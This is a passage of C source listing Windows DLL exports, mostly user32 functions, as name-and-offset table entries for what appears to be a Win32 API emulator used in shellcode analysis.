0x0002CE6C, NULL, NULL},\n\t{ \"UrlMkGetSessionOption\", 0x000149A9, NULL, NULL},\n\t{ \"UrlMkSetSessionOption\", 0x0002E4EF, NULL, NULL},\n\t{ \"WriteHitLogging\", 0x0005B4AA, NULL, NULL},\n\t{ \"ZonesReInit\", 0x0005F38C, NULL, NULL},\n\t{ 0, 0, NULL, NULL},\n};\n\n//dzzie 1-26-11\nstruct emu_env_w32_dll_export user32_exports[] =\n{\n\t{\"ActivateKeyboardLayout\", 0x00018673, NULL, NULL},\n\t{\"AdjustWindowRect\", 0x00021140, NULL, NULL},\n\t{\"AdjustWindowRectEx\", 0x0001E7EA, NULL, NULL},\n\t{\"AlignRects\", 0x0005D4E0, NULL, NULL},\n\t{\"AllowForegroundActivation\", 0x00046414, NULL, NULL},\n\t{\"AllowSetForegroundWindow\", 0x00011E40, NULL, NULL},\n\t{\"AnimateWindow\", 0x00012156, NULL, NULL},\n\t{\"AnyPopup\", 0x00059C27, NULL, NULL},\n\t{\"AppendMenuA\", 0x00021B0E, NULL, NULL},\n\t{\"AppendMenuW\", 0x000132BA, NULL, NULL},\n\t{\"ArrangeIconicWindows\", 0x00045F46, NULL, NULL},\n\t{\"AttachThreadInput\", 0x00021E52, NULL, NULL},\n\t{\"BeginDeferWindowPos\", 0x0001AFB9, NULL, NULL},\n\t{\"BeginPaint\", 0x00018FE9, NULL, NULL},\n\t{\"BlockInput\", 0x0005CA7E, NULL, NULL},\n\t{\"BringWindowToTop\", 0x000203A8, NULL, NULL},\n\t{\"BroadcastSystemMessage\", 0x0005AEBE, NULL, NULL},\n\t{\"BroadcastSystemMessageA\", 0x0005AEBE, NULL, NULL},\n\t{\"BroadcastSystemMessageExA\", 0x0005AE97, NULL, NULL},\n\t{\"BroadcastSystemMessageExW\", 0x00013654, NULL, NULL},\n\t{\"BroadcastSystemMessageW\", 0x0000E666, NULL, NULL},\n\t{\"BuildReasonArray\", 0x00057DF6, NULL, NULL},\n\t{\"CalcMenuBar\", 0x0001C5E4, NULL, NULL},\n\t{\"CallMsgFilter\", 0x0005B216, NULL, NULL},\n\t{\"CallMsgFilterA\", 0x0005B216, NULL, NULL},\n\t{\"CallMsgFilterW\", 0x0001750E, NULL, NULL},\n\t{\"CallNextHookEx\", 0x0001B3C6, NULL, NULL},\n\t{\"CallWindowProcA\", 0x0001A97D, NULL, NULL},\n\t{\"CallWindowProcW\", 0x0001A01E, NULL, NULL},\n\t{\"CascadeChildWindows\", 0x00045F5E, NULL, NULL},\n\t{\"CascadeWindows\", 0x00055039, NULL, NULL},\n\t{\"ChangeClipboardChain\", 0x00020487, NULL, NULL},\n\t{\"ChangeDisplaySettingsA\", 0x0005B400, NULL, NULL},\n\t{\"ChangeDisplaySettingsExA\", 0x0001384E, NULL, NULL},\n\t{\"ChangeDisplaySettingsExW\", 0x000495BD, NULL, NULL},\n\t{\"ChangeDisplaySettingsW\", 0x00049623, NULL, NULL},\n\t{\"ChangeMenuA\", 0x0003F298, NULL, NULL},\n\t{\"ChangeMenuW\", 0x0005525E, NULL, NULL},\n\t{\"CharLowerA\", 0x00018717, NULL, NULL},\n\t{\"CharLowerBuffA\", 0x00018845, NULL, NULL},\n\t{\"CharLowerBuffW\", 0x00009E57, NULL, NULL},\n\t{\"CharLowerW\", 0x0001B24C, NULL, NULL},\n\t{\"CharNextA\", 0x0001C8B0, NULL, NULL},\n\t{\"CharNextExA\", 0x0005984E, NULL, NULL},\n\t{\"CharNextW\", 0x0001B1B0, NULL, NULL},\n\t{\"CharPrevA\", 0x0001C8DA, NULL, NULL},\n\t{\"CharPrevExA\", 0x00059882, NULL, NULL},\n\t{\"CharPrevW\", 0x0001D607, NULL, NULL},\n\t{\"CharToOemA\", 0x0000AEF1, NULL, NULL},\n\t{\"CharToOemBuffA\", 0x00021626, NULL, NULL},\n\t{\"CharToOemBuffW\", 0x00056E31, NULL, NULL},\n\t{\"CharToOemW\", 0x00013467, NULL, NULL},\n\t{\"CharUpperA\", 0x00008D2B, NULL, NULL},\n\t{\"CharUpperBuffA\", 0x0000AE3F, NULL, NULL},\n\t{\"CharUpperBuffW\", 0x00009216, NULL, NULL},\n\t{\"CharUpperW\", 0x000090D2, NULL, NULL},\n\t{\"CheckDlgButton\", 0x00014DCA, NULL, NULL},\n\t{\"CheckMenuItem\", 0x00021ABD, NULL, NULL},\n\t{\"CheckMenuRadioItem\", 0x000553A2, NULL, NULL},\n\t{\"CheckRadioButton\", 0x0004BDE1, NULL, NULL},\n\t{\"ChildWindowFromPoint\", 0x0001201F, NULL, NULL},\n\t{\"ChildWindowFromPointEx\", 0x0001200B, NULL, NULL},\n\t{\"CliImmSetHotKey\", 0x00043C33, NULL, NULL},\n\t{\"ClientThreadSetup\", 0x0000A00A, NULL, NULL},\n\t{\"ClientToScreen\", 0x00019B60, NULL, NULL},\n\t{\"ClipCursor\", 0x0002FDC5, NULL, NULL},\n\t{\"CloseClipboard\", 0x00020265, NULL, NULL},\n\t{\"CloseDesktop\", 0x0001812F, NULL, NULL},\n\t{\"CloseWindow\", 0x00045F7F, NULL, NULL},\n\t{\"CloseWindowStation\", 0x00017D18, NULL, NULL},\n\t{\"CopyAcceleratorTableA\", 0x00046C91, NULL, NULL},\n\t{\"CopyAcceleratorTableW\", 0x0003FC5E, NULL, NULL},\n\t{\"CopyIcon\", 0x0000DE72, NULL, NULL},\n\t{\"CopyImage\", 0x0001DC14, NULL, NULL},\n\t{\"CopyRect\", 0x0001A042, NULL, NULL},\n\t{\"CountClipboardFormats\", 0x0002167F, NULL, NULL},\n\t{\"CreateAcceleratorTableA\", 0x00043497, NULL, NULL},\n\t{\"CreateAcceleratorTableW\", 0x0000D9BB, NULL, NULL},\n\t{\"CreateCaret\", 0x0001A94E, NULL, NULL},\n\t{\"CreateCursor\", 0x00047059, NULL, NULL},\n\t{\"CreateDesktopA\", 0x00045E37, NULL, NULL},\n\t{\"CreateDesktopW\", 0x0001162A, NULL, NULL},\n\t{\"CreateDialogIndirectParamA\", 0x00029B28, NULL, NULL},\n\t{\"CreateDialogIndirectParamAorW\", 0x0001680B, NULL, NULL},\n\t{\"CreateDialogIndirectParamW\", 0x0002F01F, NULL, NULL},\n\t{\"CreateDialogParamA\", 0x0002C7DB, NULL, NULL},\n\t{\"CreateDialogParamW\", 0x0000EA3B, NULL, NULL},\n\t{\"CreateIcon\", 0x000470BC, NULL, NULL},\n\t{\"CreateIconFromResource\", 0x00047134, NULL, NULL},\n\t{\"CreateIconFromResourceEx\", 0x0000D354, NULL, NULL},\n\t{\"CreateIconIndirect\", 0x0000C86C, NULL, NULL},\n\t{\"CreateMDIWindowA\", 0x0003FDC0, NULL, NULL},\n\t{\"CreateMDIWindowW\", 0x0002F810, NULL, NULL},\n\t{\"CreateMenu\", 0x0001F306, NULL, NULL},\n\t{\"CreatePopupMenu\", 0x0000F601, NULL, NULL},\n\t{\"CreateSystemThreads\", 0x000216E8, NULL, NULL},\n\t{\"CreateWindowExA\", 0x0001E4A9, NULL, NULL},\n\t{\"CreateWindowExW\", 0x0001D0A3, NULL, NULL},\n\t{\"CreateWindowStationA\", 0x0004642E, NULL, NULL},\n\t{\"CreateWindowStationW\", 0x000113DD, NULL, NULL},\n\t{\"CsrBroadcastSystemMessageExW\", 0x0001367B, NULL, NULL},\n\t{\"CtxInitUser32\", 0x0000E9E2, NULL, NULL},\n\t{\"DdeAbandonTransaction\", 0x0005AD84, NULL, NULL},\n\t{\"DdeAccessData\", 0x00051309, NULL, NULL},\n\t{\"DdeAddData\", 0x000510D1, NULL, NULL},\n\t{\"DdeClientTransaction\", 0x0005A6A2, NULL, NULL},\n\t{\"DdeCmpStringHandles\", 0x00051D8D, NULL, NULL},\n\t{\"DdeConnect\", 0x000481C3, NULL, NULL},\n\t{\"DdeConnectList\", 0x000484DE, NULL, NULL},\n\t{\"DdeCreateDataHandle\", 0x00051769, NULL, NULL},\n\t{\"DdeCreateStringHandleA\", 0x00051E43, NULL, NULL},\n\t{\"DdeCreateStringHandleW\", 0x00010447, NULL, NULL},\n\t{\"DdeDisconnect\", 0x000483C4, NULL, NULL},\n\t{\"DdeDisconnectList\", 0x0004843B, NULL, NULL},\n\t{\"DdeEnableCallback\", 0x00045212, NULL, NULL},\n\t{\"DdeFreeDataHandle\", 0x000518E2, NULL, NULL},\n\t{\"DdeFreeStringHandle\", 0x00051F70, NULL, NULL},\n\t{\"DdeGetData\", 0x000511F1, NULL, NULL},\n\t{\"DdeGetLastError\", 0x0004A853, NULL, NULL},\n\t{\"DdeGetQualityOfService\", 0x0005CAA6, NULL, NULL},\n\t{\"DdeImpersonateClient\", 0x0004A894, NULL, NULL},\n\t{\"DdeInitializeA\", 0x0004A8F6, NULL, NULL},\n\t{\"DdeInitializeW\", 0x000106D7, NULL, NULL},\n\t{\"DdeKeepStringHandle\", 0x0005200A, NULL, NULL},\n\t{\"DdeNameService\", 0x0001085E, NULL, NULL},\n\t{\"DdePostAdvise\", 0x0005A3A5, NULL, NULL},\n\t{\"DdeQueryConvInfo\", 0x0005ABA6, NULL, NULL},\n\t{\"DdeQueryNextServer\", 0x000479AC, NULL, NULL},\n\t{\"DdeQueryStringA\", 0x00052096, NULL, NULL},\n\t{\"DdeQueryStringW\", 0x000520B3, NULL, NULL},\n\t{\"DdeReconnect\", 0x0004826B, NULL, NULL},\n\t{\"DdeSetQualityOfService\", 0x0005CABA, NULL, NULL},\n\t{\"DdeSetUserHandle\", 0x0005AD29, NULL, NULL},\n\t{\"DdeUnaccessData\", 0x0005137B, NULL, NULL},\n\t{\"DdeUninitialize\", 0x0004A732, NULL, NULL},\n\t{\"DefDlgProcA\", 0x0002E577, NULL, NULL},\n\t{\"DefDlgProcW\", 0x00013D3A, NULL, NULL},\n\t{\"DefFrameProcA\", 0x0003F965, NULL, NULL},\n\t{\"DefFrameProcW\", 0x00020833, NULL, NULL},\n\t{\"DefMDIChildProcA\", 0x0003F9B4, NULL, NULL},\n\t{\"DefMDIChildProcW\", 0x00020A47, NULL, NULL},\n\t{\"DefRawInputProc\", 0x000468DD, NULL, NULL},\n\t{\"DefWindowProcA\", 0x0001C17E, NULL, NULL},\n\t{\"DefWindowProcW\", 0x00018D20, NULL, NULL},\n\t{\"DeferWindowPos\", 0x0001AFDB, NULL, NULL},\n\t{\"DeleteMenu\", 0x0001CED3, NULL, NULL},\n\t{\"DeregisterShellHookWindow\", 0x000302C0, NULL, NULL},\n\t{\"DestroyAcceleratorTable\", 0x0002FE8D, NULL, NULL},\n\t{\"DestroyCaret\", 0x00019C0E, NULL, NULL},\n\t{\"DestroyCursor\", 0x0001D312, NULL, NULL},\n\t{\"DestroyIcon\", 0x0001D312, NULL, NULL},\n\t{\"DestroyMenu\", 0x0001D39D, NULL, NULL},\n\t{\"DestroyReasons\", 0x00057ED8, NULL, NULL},\n\t{\"DestroyWindow\", 0x0001B19C, NULL, NULL},\n\t{\"DeviceEventWorker\", 0x0004A0F8, NULL, NULL},\n\t{\"DialogBoxIndirectParamA\", 0x00046D7D, NULL, NULL},\n\t{\"DialogBoxIndirectParamAorW\", 0x000149D0, NULL, NULL},\n\t{\"DialogBoxIndirectParamW\", 0x00022072, NULL, NULL},\n\t{\"DialogBoxParamA\", 0x0002B144, NULL, NULL},\n\t{\"DialogBoxParamW\", 0x000147AB, NULL, NULL},\n\t{\"DisableProcessWindowsGhosting\", 0x00046421, NULL, NULL},\n\t{\"DispatchMessageA\", 0x000096B8, NULL, NULL},\n\t{\"DispatchMessageW\", 0x00008A01, NULL, NULL},\n\t{\"DisplayExitWindowsWarnings\", 0x00049F91, NULL, NULL},\n\t{\"DlgDirListA\", 0x000538DF, NULL, NULL},\n\t{\"DlgDirListComboBoxA\", 0x00047599, NULL, NULL},\n\t{\"DlgDirListComboBoxW\", 0x00047626, NULL, NULL},\n\t{\"DlgDirListW\", 0x0005396D, NULL, NULL},\n\t{\"DlgDirSelectComboBoxExA\", 0x00047657, NULL, NULL},\n\t{\"DlgDirSelectComboBoxExW\", 0x00047543, NULL, NULL},\n\t{\"DlgDirSelectExA\", 0x00053AFE, NULL, NULL},\n\t{\"DlgDirSelectExW\", 0x00053B64, NULL, NULL},\n\t{\"DragDetect\", 0x0005CACE, NULL, NULL},\n\t{\"DragObject\", 0x0005CAE2, NULL, NULL},\n\t{\"DrawAnimatedRects\", 0x0005CAF6, NULL, NULL},\n\t{\"DrawCaption\", 0x00056D9F, NULL, NULL},\n\t{\"DrawCaptionTempA\", 0x0005B2D0, NULL, NULL},\n\t{\"DrawCaptionTempW\", 0x0003F339, NULL, NULL},\n\t{\"DrawEdge\", 0x0001FBF6, NULL, NULL},\n\t{\"DrawFocusRect\", 0x0001F94F, NULL, NULL},\n\t{\"DrawFrame\", 0x000229C4, NULL, NULL},\n\t{\"DrawFrameControl\", 0x0002E940, NULL, NULL},\n\t{\"DrawIcon\", 0x0002D06C, NULL, NULL},\n\t{\"DrawIconEx\", 0x0001CB84, NULL, NULL},\n\t{\"DrawMenuBar\", 0x0003F69C, NULL, NULL},\n\t{\"DrawMenuBarTemp\", 0x0005536D, NULL, NULL},\n\t{\"DrawStateA\", 0x0003F100, NULL, NULL},\n\t{\"DrawStateW\", 0x000145BB, NULL, NULL},\n\t{\"DrawTextA\", 0x0002C702, NULL, NULL},\n\t{\"DrawTextExA\", 0x0002C739, NULL, NULL},\n\t{\"DrawTextExW\", 0x0001B415, NULL, NULL},\n\t{\"DrawTextW\", 0x0001D7E2, NULL, NULL},\n\t{\"EditWndProc\", 0x00023000, NULL, NULL},\n\t{\"EmptyClipboard\", 0x00020D96, NULL, NULL},\n\t{\"EnableMenuItem\", 0x0001D2C4, NULL, NULL},\n\t{\"EnableScrollBar\", 0x00058005, NULL, NULL},\n\t{\"EnableWindow\", 0x00019849, NULL, NULL},\n\t{\"EndDeferWindowPos\", 0x0001AF8D, NULL, NULL},\n\t{\"EndDialog\", 0x00014A4E, NULL, NULL},\n\t{\"EndMenu\", 0x0005CB5A, NULL, NULL},\n\t{\"EndPaint\", 0x00018FFD, NULL, NULL},\n\t{\"EndTask\", 0x0004A0A5, NULL, NULL},\n\t{\"EnterReaderModeHelper\", 0x0005769F, NULL, NULL},\n\t{\"EnumChildWindows\", 0x0001B0F0, NULL, NULL},\n\t{\"EnumClipboardFormats\", 0x0002E53D, NULL, NULL},\n\t{\"EnumDesktopWindows\", 0x0001851A, NULL, NULL},\n\t{\"EnumDesktopsA\", 0x0002234B, NULL, NULL},\n\t{\"EnumDesktopsW\", 0x0001853B, NULL, NULL},\n\t{\"EnumDisplayDevicesA\", 0x00018A74, NULL, NULL},\n\t{\"EnumDisplayDevicesW\", 0x0000E03C, NULL, NULL},\n\t{\"EnumDisplayMonitors\", 0x0001A77B, NULL, NULL},\n\t{\"EnumDisplaySettingsA\", 0x00013A67, NULL, NULL},\n\t{\"EnumDisplaySettingsExA\", 0x000138F3, NULL, NULL},\n\t{\"EnumDisplaySettingsExW\", 0x00013563, NULL, NULL},\n\t{\"EnumDisplaySettingsW\", 0x0001362A, NULL, NULL},\n\t{\"EnumPropsA\", 0x000455D9, NULL, NULL},\n\t{\"EnumPropsExA\", 0x00045613, NULL, NULL},\n\t{\"EnumPropsExW\", 0x00045631, NULL, NULL},\n\t{\"EnumPropsW\", 0x000455F6, NULL, NULL},\n\t{\"EnumThreadWindows\", 0x0001F539, NULL, NULL},\n\t{\"EnumWindowStationsA\", 0x0002232E, NULL, NULL},\n\t{\"EnumWindowStationsW\", 0x0004564F, NULL, NULL},\n\t{\"EnumWindows\", 0x0001A5AE, NULL, NULL},\n\t{\"EqualRect\", 0x00019E81, NULL, NULL},\n\t{\"ExcludeUpdateRgn\", 0x00020251, NULL, NULL},\n\t{\"ExitWindowsEx\", 0x0004A275, NULL, NULL},\n\t{\"FillRect\", 0x00019C2F, NULL, NULL},\n\t{\"FindWindowA\", 0x000182E1, NULL, NULL},\n\t{\"FindWindowExA\", 0x0002214A, NULL, NULL},\n\t{\"FindWindowExW\", 0x0000E0E3, NULL, NULL},\n\t{\"FindWindowW\", 0x0001C9C3, NULL, NULL},\n\t{\"FlashWindow\", 0x00045FC4, NULL, NULL},\n\t{\"FlashWindowEx\", 0x0005CB80, NULL, NULL},\n\t{\"FrameRect\", 0x0001F92A, NULL, NULL},\n\t{\"FreeDDElParam\", 0x0004BA77, NULL, NULL},\n\t{\"GetActiveWindow\", 0x0001C2E8, NULL, NULL},\n\t{\"GetAltTabInfo\", 0x0005B3DC, NULL, NULL},\n\t{\"GetAltTabInfoA\", 0x0005B3DC, NULL, NULL},\n\t{\"GetAltTabInfoW\", 0x00020D09, NULL, NULL},\n\t{\"GetAncestor\", 0x0001AF79, NULL, NULL},\n\t{\"GetAppCompatFlags\", 0x00008ED6, NULL, NULL},\n\t{\"GetAppCompatFlags2\", 0x0001CDD4, NULL, NULL},\n\t{\"GetAsyncKeyState\", 0x0001A78F, NULL, NULL},\n\t{\"GetCapture\", 0x000094DA, NULL, NULL},\n\t{\"GetCaretBlinkTime\", 0x0001A928, NULL, NULL},\n\t{\"GetCaretPos\", 0x0001F6A1, NULL, NULL},\n\t{\"GetClassInfoA\", 0x0002EBFF, NULL, NULL},\n\t{\"GetClassInfoExA\", 0x0000DD58, NULL, NULL},\n\t{\"GetClassInfoExW\", 0x0000DEBC, NULL, NULL},\n\t{\"GetClassInfoW\", 0x0001E81E, NULL, NULL},\n\t{\"GetClassLongA\", 0x0001F4F1, NULL, NULL},\n\t{\"GetClassLongW\", 0x00019AE9, NULL, NULL},\n\t{\"GetClassNameA\", 0x0001F45F, NULL, NULL},\n\t{\"GetClassNameW\", 0x00019D12, NULL, NULL},\n\t{\"GetClassWord\", 0x0004535C, NULL, NULL},\n\t{\"GetClientRect\", 0x0001908E, NULL, NULL},\n\t{\"GetClipCursor\", 0x0005CBA6, NULL, NULL},\n\t{\"GetClipboardData\", 0x00020DBA, NULL, NULL},\n\t{\"GetClipboardFormatNameA\", 0x00021290, NULL, NULL},\n\t{\"GetClipboardFormatNameW\", 0x0004957F, NULL, NULL},\n\t{\"GetClipboardOwner\", 0x00020DA8, NULL, NULL},\n\t{\"GetClipboardSequenceNumber\", 0x0001F17A, NULL, NULL},\n\t{\"GetClipboardViewer\", 0x0005CB94, NULL, NULL},\n\t{\"GetComboBoxInfo\", 0x0005CBBA, NULL, NULL},\n\t{\"GetCursor\", 0x0001A91B, NULL, NULL},\n\t{\"GetCursorFrameInfo\", 0x000147F8, NULL, NULL},\n\t{\"GetCursorInfo\", 0x0005CBCE, NULL, NULL},\n\t{\"GetCursorPos\", 0x0001974E, NULL, NULL},\n\t{\"GetDC\", 0x000086C7, NULL, NULL},\n\t{\"GetDCEx\", 0x0001C595, NULL, NULL},\n\t{\"GetDesktopWindow\", 0x0001D1D2, NULL, NULL},\n\t{\"GetDialogBaseUnits\", 0x00046003, NULL, NULL},\n\t{\"GetDlgCtrlID\", 0x0001AF1B, NULL, NULL},\n\t{\"GetDlgItem\", 0x0001436E, NULL, NULL},\n\t{\"GetDlgItemInt\", 0x0004BC8B, NULL, NULL},\n\t{\"GetDlgItemTextA\", 0x0005B05E, NULL, NULL},\n\t{\"GetDlgItemTextW\", 0x00014305, NULL, NULL},\n\t{\"GetDoubleClickTime\", 0x0001D86B, NULL, NULL},\n\t{\"GetFocus\", 0x000198C8, NULL, NULL},\n\t{\"GetForegroundWindow\", 0x00019823, NULL, NULL},\n\t{\"GetGUIThreadInfo\", 0x00017F28, NULL, NULL},\n\t{\"GetGuiResources\", 0x0005CBE2, NULL, NULL},\n\t{\"GetIconInfo\", 0x0001D427, NULL, NULL},\n\t{\"GetInputDesktop\", 0x00046022, NULL, NULL},\n\t{\"GetInputState\", 0x0001F64E, NULL, NULL},\n\t{\"GetInternalWindowPos\", 0x0005CC0A, NULL, NULL},\n\t{\"GetKBCodePage\", 0x000521A8, NULL, NULL},\n\t{\"GetKeyNameTextA\", 0x0003F6B4, NULL, NULL},\n\t{\"GetKeyNameTextW\", 0x0004958F, NULL, NULL},\n\t{\"GetKeyState\", 0x00019ED9, NULL, NULL},\n\t{\"GetKeyboardLayout\", 0x00019BF6, NULL, NULL},\n\t{\"GetKeyboardLayoutList\", 0x00019C1B, NULL, NULL},\n\t{\"GetKeyboardLayoutNameA\", 0x00043631, NULL, NULL},\n\t{\"GetKeyboardLayoutNameW\", 0x00021481, NULL, NULL},\n\t{\"GetKeyboardState\", 0x0001D226, NULL, NULL},\n\t{\"GetKeyboardType\", 0x000211DB, NULL, NULL},\n\t{\"GetLastActivePopup\", 0x0002157A, NULL, NULL},\n\t{\"GetLastInputInfo\", 0x000094F4, NULL, NULL},\n\t{\"GetLayeredWindowAttributes\", 0x0005CFC6, NULL, NULL},\n\t{\"GetListBoxInfo\", 0x0005CC32, NULL, NULL},\n\t{\"GetMenu\", 0x000214BA, NULL, NULL},\n\t{\"GetMenuBarInfo\", 0x0005CC46, NULL, NULL},\n\t{\"GetMenuCheckMarkDimensions\", 0x000402F9, NULL, NULL},\n\t{\"GetMenuContextHelpId\", 0x000552FF, NULL, NULL},\n\t{\"GetMenuDefaultItem\", 0x0000F667, NULL, NULL},\n\t{\"GetMenuInfo\", 0x00046725, NULL, NULL},\n\t{\"GetMenuItemCount\", 0x0001EF1C, NULL, NULL},\n\t{\"GetMenuItemID\", 0x0003F1C8, NULL, NULL},\n\t{\"GetMenuItemInfoA\", 0x0001F0AD, NULL, NULL},\n\t{\"GetMenuItemInfoW\", 0x0000F72A, NULL, NULL},\n\t{\"GetMenuItemRect\", 0x0005CC6E, NULL, NULL},\n\t{\"GetMenuState\", 0x0000F967, NULL, NULL},\n\t{\"GetMenuStringA\", 0x0003F24E, NULL, NULL},\n\t{\"GetMenuStringW\", 0x000464E4, NULL, NULL},\n\t{\"GetMessageA\", 0x0001772B, NULL, NULL},\n\t{\"GetMessageExtraInfo\", 0x000468B8, NULL, NULL},\n\t{\"GetMessagePos\", 0x0001996C, NULL, NULL},\n\t{\"GetMessageTime\", 0x00019DE0, NULL, NULL},\n\t{\"GetMessageW\", 0x000091C6, NULL, NULL},\n\t{\"GetMonitorInfoA\", 0x0001A84A, NULL, NULL},\n\t{\"GetMonitorInfoW\", 0x0001A6D9, NULL, NULL},\n\t{\"GetMouseMovePointsEx\", 0x0005CC82, NULL, NULL},\n\t{\"GetNextDlgGroupItem\", 0x0004BF27, NULL, NULL},\n\t{\"GetNextDlgTabItem\", 0x000137C3, NULL, NULL},\n\t{\"GetOpenClipboardWindow\", 0x00021691, NULL, NULL},\n\t{\"GetParent\", 0x0001910F, NULL, NULL},\n\t{\"GetPriorityClipboardFormat\", 0x0005CC96, NULL, NULL},\n\t{\"GetProcessDefaultLayout\", 0x000463E4, NULL, NULL},\n\t{\"GetProcessWindowStation\", 0x00009195, NULL, NULL},\n\t{\"GetProgmanWindow\", 0x0004612D, NULL, NULL},\n\t{\"GetPropA\", 0x00020042, NULL, NULL},\n\t{\"GetPropW\", 0x000194B3, NULL, NULL},\n\t{\"GetQueueStatus\", 0x0001AE46, NULL, NULL},\n\t{\"GetRawInputBuffer\", 0x00050DCD, NULL, NULL},\n\t{\"GetRawInputData\", 0x0005CCBE, NULL, NULL},\n\t{\"GetRawInputDeviceInfoA\", 0x0005AF0D, NULL, NULL},\n\t{\"GetRawInputDeviceInfoW\", 0x00046558, NULL, NULL},\n\t{\"GetRawInputDeviceList\", 0x0005CCE6, NULL, NULL},\n\t{\"GetReasonTitleFromReasonCode\", 0x00057F24, NULL, NULL},\n\t{\"GetRegisteredRawInputDevices\", 0x0005CCFA, NULL, NULL},\n\t{\"GetScrollBarInfo\", 0x0001DFB4, NULL, NULL},\n\t{\"GetScrollInfo\", 0x0001DFE2, NULL, NULL},\n\t{\"GetScrollPos\", 0x0001F704, NULL, NULL},\n\t{\"GetScrollRange\", 0x0001F787, NULL, NULL},\n\t{\"GetShellWindow\", 0x00009252, NULL, NULL},\n\t{\"GetSubMenu\", 0x0001D896, NULL, NULL},\n\t{\"GetSysColor\", 0x00008E78, NULL, NULL},\n\t{\"GetSysColorBrush\", 0x00008EAB, NULL, NULL},\n\t{\"GetSystemMenu\", 0x0001B222, NULL, NULL},\n\t{\"GetSystemMetrics\", 0x00008F9C, NULL, NULL},\n\t{\"GetTabbedTextExtentA\", 0x0004A6A1, NULL, NULL},\n\t{\"GetTabbedTextExtentW\", 0x0004A677, NULL, NULL},\n\t{\"GetTaskmanWindow\", 0x0004370D, NULL, NULL},\n\t{\"GetThreadDesktop\", 0x00009A51, NULL, NULL},\n\t{\"GetTitleBarInfo\", 0x0001C581, NULL, NULL},\n\t{\"GetTopWindow\", 0x0001F25B, NULL, NULL},\n\t{\"GetUpdateRect\", 0x0001A8C9, NULL, NULL},\n\t{\"GetUpdateRgn\", 0x0001F5EC, NULL, NULL},\n\t{\"GetUserObjectInformationA\", 0x00021300, NULL, NULL},\n\t{\"GetUserObjectInformationW\", 0x00008D17, NULL, NULL},\n\t{\"GetUserObjectSecurity\", 0x00045B65, NULL, NULL},\n\t{\"GetWinStationInfo\", 0x00045B9B, NULL, NULL},\n\t{\"GetWindow\", 0x00019655, NULL, NULL},\n\t{\"GetWindowContextHelpId\", 0x00046180, NULL, NULL},\n\t{\"GetWindowDC\", 0x00009021, NULL, NULL},\n\t{\"GetWindowInfo\", 0x0001C49C, NULL, NULL},\n\t{\"GetWindowLongA\", 0x0000945D, NULL, NULL},\n\t{\"GetWindowLongW\", 0x000088A6, NULL, NULL},\n\t{\"GetWindowModuleFileName\", 0x0005AEE4, NULL, NULL},\n\t{\"GetWindowModuleFileNameA\", 0x0005AEE4, NULL, NULL},\n\t{\"GetWindowModuleFileNameW\", 0x0004652F, NULL, NULL},\n\t{\"GetWindowPlacement\", 0x000203C7, NULL, NULL},\n\t{\"GetWindowRect\", 0x000190B4, NULL, NULL},\n\t{\"GetWindowRgn\", 0x0000E443, NULL, NULL},\n\t{\"GetWindowRgnBox\", 0x0001D007, NULL, NULL},\n\t{\"GetWindowTextA\", 0x0002216B, NULL, NULL},\n\t{\"GetWindowTextLengthA\", 0x0003F18B, NULL, NULL},\n\t{\"GetWindowTextLengthW\", 0x00017836, NULL, NULL},\n\t{\"GetWindowTextW\", 0x0001A5CD, NULL, NULL},\n\t{\"GetWindowThreadProcessId\", 0x00008A80, NULL, NULL},\n\t{\"GetWindowWord\", 0x0002030C, NULL, NULL},\n\t{\"GrayStringA\", 0x00045B05, NULL, NULL},\n\t{\"GrayStringW\", 0x00045B35, NULL, NULL},\n\t{\"HideCaret\", 0x0001B086, NULL, NULL},\n\t{\"HiliteMenuItem\", 0x0005CD22, NULL, NULL},\n\t{\"IMPGetIMEA\", 0x0005B4C0, NULL, NULL},\n\t{\"IMPGetIMEW\", 0x0005B4AF, NULL, NULL},\n\t{\"IMPQueryIMEA\", 0x0005B4E2, NULL, NULL},\n\t{\"IMPQueryIMEW\", 0x0005B4D1, NULL, NULL},\n\t{\"IMPSetIMEA\", 0x0005B504, NULL, NULL},\n\t{\"IMPSetIMEW\", 0x0005B4F3, NULL, NULL},\n\t{\"ImpersonateDdeClientWindow\", 0x0005CD36, NULL, NULL},\n\t{\"InSendMessage\", 0x00017296, NULL, NULL},\n\t{\"InSendMessageEx\", 0x0001AE83, NULL, NULL},\n\t{\"InflateRect\", 0x000198D5, NULL, NULL},\n\t{\"InitializeLpkHooks\", 0x00046646, NULL, NULL},\n\t{\"InitializeWin32EntryTable\", 0x00056FC7, NULL, NULL},\n\t{\"InsertMenuA\", 0x0002ED26, NULL, NULL},\n\t{\"InsertMenuItemA\", 0x0003F710, NULL, NULL},\n\t{\"InsertMenuItemW\", 0x0000F5C8, NULL, NULL},\n\t{\"InsertMenuW\", 0x0000F60E, NULL, NULL},\n\t{\"InternalGetWindowText\", 0x0001C5A9, NULL, NULL},\n\t{\"IntersectRect\", 0x00018F1F, NULL, NULL},\n\t{\"InvalidateRect\", 0x00018FD5, NULL, NULL},\n\t{\"InvalidateRgn\", 0x0001CDFE, NULL, NULL},\n\t{\"InvertRect\", 0x0003FC72, NULL, NULL},\n\t{\"IsCharAlphaA\", 0x0002E5E6, NULL, NULL},\n\t{\"IsCharAlphaNumericA\", 0x0003F469, NULL, NULL},\n\t{\"IsCharAlphaNumericW\", 0x00011AC2, NULL, NULL},\n\t{\"IsCharAlphaW\", 0x0001D683, NULL, NULL},\n\t{\"IsCharLowerA\", 0x0002B889, NULL, NULL},\n\t{\"IsCharLowerW\", 0x0003F3B2, NULL, NULL},\n\t{\"IsCharUpperA\", 0x0002707E, NULL, NULL},\n\t{\"IsCharUpperW\", 0x0005A1DF, NULL, NULL},\n\t{\"IsChild\", 0x0000970E, NULL, NULL},\n\t{\"IsClipboardFormatAvailable\", 0x0001F166, NULL, NULL},\n\t{\"IsDialogMessage\", 0x0002C689, NULL, NULL},\n\t{\"IsDialogMessageA\", 0x0002C689, NULL, NULL},\n\t{\"IsDialogMessageW\", 0x00017424, NULL, NULL},\n\t{\"IsDlgButtonChecked\", 0x00014DFA, NULL, NULL},\n\t{\"IsGUIThread\", 0x0005A19F, NULL, NULL},\n\t{\"IsHungAppWindow\", 0x00059C61, NULL, NULL},\n\t{\"IsIconic\", 0x000197FF, NULL, NULL},\n\t{\"IsMenu\", 0x00021368, NULL, NULL},\n\t{\"IsRectEmpty\", 0x000198FE, NULL, NULL},\n\t{\"IsServerSideWindow\", 0x0001B0CF, NULL, NULL},\n\t{\"IsWinEventHookInstalled\", 0x0000B1A5, NULL, NULL},\n\t{\"IsWindow\", 0x00019313, NULL, NULL},\n\t{\"IsWindowEnabled\", 0x0001977A, NULL, NULL},\n\t{\"IsWindowInDestroy\", 0x0001B126, NULL, 